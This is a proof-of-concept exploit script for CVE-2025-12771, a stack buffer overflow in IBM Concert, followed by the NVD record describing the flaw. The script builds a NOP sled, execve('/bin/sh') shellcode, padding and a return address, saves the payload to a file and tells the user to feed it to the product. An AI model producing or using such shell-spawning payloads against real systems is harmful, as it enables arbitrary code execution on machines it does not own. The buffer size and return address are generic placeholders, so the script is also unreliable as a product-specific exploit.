CVE-2025-12771

# CVE-2025-12771 PoC - IBM Concert Stack Buffer Overflow # This PoC demonstrates the buffer overflow condition in IBM Concert 1.0.0-2.1.0 # Author: Security Researcher # Note: This is for educational and authorized testing purposes only import struct import sys def generate_exploit_payload(): """ Generate a payload to trigger stack buffer overflow in IBM Concert. The vulnerability exists due to improper bounds checking on input data. """ # Define the buffer size that triggers overflow buffer_size = 1024 # Example buffer size # Create NOP sled for reliable shellcode execution nop_sled = b'\x90' * 200 # Shellcode for arbitrary code execution (Linux/x86 example) # This shellcode opens a shell for demonstration purposes shellcode = ( b'\x31\xc0' # xor eax, eax b'\x50' # push eax b'\x68\x2f\x2f\x73\x68' # push "//sh" b'\x68\x2f\x62\x69\x6e' # push "/bin" b'\x89\xe3' # mov ebx, esp b'\x50' # push eax b'\x53' # push ebx b'\x89\xe1' # mov ecx, esp b'\x31\xd2' # xor edx, edx b'\xb0\x0b' # mov al, 11 b'\xcd\x80' # int 0x80 ) # Address to return to (middle of NOP sled) return_address = struct.pack('<I', 0xFFFF0000 + 100) # Adjust based on target # Overflow pattern - fill buffer up to return address padding = b'A' * (buffer_size - len(nop_sled) - len(shellcode)) # Construct the full payload payload = nop_sled + shellcode + padding + return_address return payload def main(): print("CVE-2025-12771 PoC Generator") print("Target: IBM Concert 1.0.0 - 2.1.0") print("Vulnerability: Stack-based Buffer Overflow") print("-" * 50) payload = generate_exploit_payload() print(f"Generated payload length: {len(payload)} bytes") print(f"Payload hex dump: {payload.hex()}") # Save payload to file for testing with open('cve_2025_12771_payload.bin', 'wb') as f: f.write(payload) print("Payload saved to cve_2025_12771_payload.bin") print("\nUsage: Feed this payload to the vulnerable IBM Concert input field") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-12771", "sourceIdentifier": "[email protected]", "published": "2025-12-26T13:15:45.407", "lastModified": "2025-12-29T18:23:39.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.1.0 is vulnerable to a stack-based buffer overflow, caused by improper bounds checking. A local user could overflow the buffer and execute arbitrary code on the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.2.0", "matchCriteriaId": "065602A3-1E93-487B-B667-4C40FF7D0094"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7255549", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}